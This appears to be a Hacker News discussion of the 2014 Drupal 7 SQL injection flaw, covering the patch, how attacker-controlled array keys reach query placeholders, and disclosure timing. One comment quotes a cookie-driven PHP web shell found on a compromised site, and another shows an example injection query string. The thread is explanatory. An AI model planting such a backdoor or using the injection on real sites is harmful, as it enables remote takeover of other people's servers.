In this file:
includes/database/database.inc
foreach ($data as $i => $value) {
foreach (array_values($data) as $i => $value) {
I guess it's just another example of the Waterbed Theory[1].
There are currently around 930,000 Drupal 7 installations (https://www.drupal.org/project/usage/drupal), I fear that this will lead to a lot of compromised sites.
Note that Drupal 6 is not affected (it didn't use PDO, so this parameter parsing functionality doesn't exist).
Why don't people see the pattern?
Poorly coded software results in security holes.
And IN statements are stupid with prepared statement. If you can leverage a «hit or miss» cache effect with a IN statement, you don't need the IN, elsewhise it is inefficient.
Good solution is when you can do it: replace IN with join avoiding the shameful pit of Mysql poor performances in subqueries.
The other solution is to avoid IN statement because it cannot be protected with the bind trick.
And Stackoverflow has the same solutions proposed everywhere, and since people have no critical sense, this bug is everywhere where people are using IN with prepared statement.
http://stackoverflow.com/questions/920353/can-i-bind-an-arra... http://stackoverflow.com/questions/1586587/pdo-binding-value... http://stackoverflow.com/questions/589284/imploding-a-list-f... http://stackoverflow.com/questions/3703180/a-prepared-statem...
If you use MSSQL you can use IN just fine: use a table valued parameter to feed in values to look for. It's only one parameter so you get plan caching for 1, 2 ... n rows in your table valued parameter. (Although plan re-use is not always a good thing: the plan generated for 1 parameter = 1 row is necessarily the plan best suited to 1 parameter = 10,000 rows.)
You might ask, when will we learn? Well, the truth is making secure systems is incredibly hard work and often comes at the price of flexibility/usability/programmer productivity. We know how to do it, it's just not easy to incorporate.
Actually, what's changed is a tendency to now give scary names to exploits and to insist on the importance of "branding and marketing" them to increase end user awareness, or something.
It's gotten a little farcical, I think. It's also lead to a lot of ignorant impressions about free software, as of recent. In spite of the fact that everything is business as usual.
When wasn't it? Whenever there's a big security advisory that will affect a large percentage of people who browse HN, you see it voted up on HN, explained in detail, and the media using the thread as a source.
16. Sep. 2014 - Notified the Drupal devs via security contact form
15. Okt. 2014 - Relase of Bugfix by Drupal core Developers
This was a pretty critical part of Drupal core, so it would be irresponsible to rush out a patch without proper testing and analysis. Could it have been done quicker? Maybe. But I don't think this is a completely unreasonable period of time.
Sure, careful programming would have avoided that, but if the two concept were fundamentally different types, this bug would be impossible.
modules/toolbar/pfmm.php
…which doesn't actually exist in the toolbar module (or anywhere else I can find). The contents of that look like an attempt to use some kind of exploit:
<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();
Not quite sure what that means, but we're still looking into it.
Unfortunately, that code actually is taking PHP function calls from the cookies passed in with the request, and we didn't have cookie logging enabled, so we have no way of figuring out what that actually did. I suspect the Kcqf3 cookie is a decoder or decryption function, but the Kcqf2 function name is a mystery, and the Kcqf1 parameter could be anything.
There's this common misconception "just use prepared statements and they'll completely prevent SQL injection" floating around. Good to see (yet another) counterexample of that. Prepared statements and parameters are only strategies that can help, but they don't replace an understanding of where the characters in the query are coming from and how they're being used. Escaping shouldn't be a difficult concept to understand either.
It's quite simply shoddy string substitution that's not doing proper escaping, as you pointed out.
No amount of prepared statement kung-fu will save you when the querystring itself contains untrustworthy data. Which is exactly what Drupal is doing here. It puts untrusted, potentially non-integer array keys directly into a querystring. Even if Drupal used a database library that supported proper prepared statements, it would have been owned just as well, only slightly less severely.
It's similar to another, much more common misuse of prepared statements: using untrusted values in the column name.
Still, it's always a good idea to set PDO::ATTR_EMULATE_PREPARES to FALSE as soon as you create any instance of that bloody class.
Something between PHP and MSSQL must not support named parameters, because MSSQL supports them just fine.
http://www.reddit.com/r/drupal/comments/2jbuiz/drupal_732_fi...
The patch adds array_values() which basically just resets the array to a 0..n index instead of whatever alpha/numeric mix it might've been before.
This means an array with a particular key can cause injection. Doesn't that seem a bit of an obscure thing to have to protect? Do people who're new to the project know about that?
Does someone understand something I don't? Even looking at the patch only, from a conceptual perspective, how does the usage of that array and its keys even make sense in a context where a certain key can allow injection?
However, arrays can have non numerical keys. This results in "placeholder_KEY", "placeholder_KEY2".
If Key is a SQL query fragment, that ends up verbatim in the placeholders section.
Suppose you pass $_GET['foo'] as a query argument. An attacker can (simplified) supply ?foo[EXPLOIT] and poof, $_GET['foo'] is an array with 'EXPLOIT' among the keys that suddenly gets into the query verbatim.
Due to the statement being prepared, all bound parameters are correctly encoded -- not the parameter names themselves though, which Drupal should have sanitized first.
Letting $data through the array_values() call will give you a zero-indexed array, which gives you predictable and safe parameter names.
Well that doesn't sound good. Drupal.org itself is still running[1] on the unpatched version 7.3.1 which sends a message of how likely sites are to be updated.
They are naming the query placeholders based directly on the indexes passed in the querystring parameters?
And since indexes can be whatever string like ?name[DELETE FROM USERS]=foo&... ,you end up with an exploit ...
- Exploitable by anyone able to access the site
- No mitigation
- Remote code execution
- Stealthy
- Exploits are in the wild